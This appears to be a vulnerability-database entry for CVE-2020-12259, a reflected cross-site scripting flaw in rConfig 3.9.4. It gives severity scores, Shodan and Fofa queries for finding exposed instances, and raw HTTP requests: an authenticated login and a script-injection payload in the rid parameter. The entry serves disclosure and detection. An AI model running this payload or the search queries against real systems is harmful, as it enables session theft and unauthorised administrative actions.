| Title | rConfig 3.9.4 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Authenticated attackers can inject malicious JavaScript through the rid parameter, potentially stealing session cookies or performing administrative actions on behalf of authenticated users. |
| Remediation | Upgrade to rConfig version 3.9.7 or later. |
| CVSS Score | 5.4 |
| EPSS Score | 0.68306 |
| CVE ID | CVE-2020-12259 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"rConfig"http.title:"rconfig" |
| Fofa Query | title="rconfig" |
| Tags | cve2020 cve rconfig authenticated xss vuln |
rConfig 3.9.4 is vulnerable to reflected XSS. The configDevice.php file improperly validates user input. An attacker can exploit this vulnerability by crafting arbitrary JavaScript in the rid GET parameter of devicemgmnt.php
GET /login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept-Encoding: gzip
POST /lib/crud/userprocess.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
user=bF6cCa&pass=0r6oMp&sublogin=1
GET /configDevice.php?rid="><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12259.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-12259.pcap
N/AN/A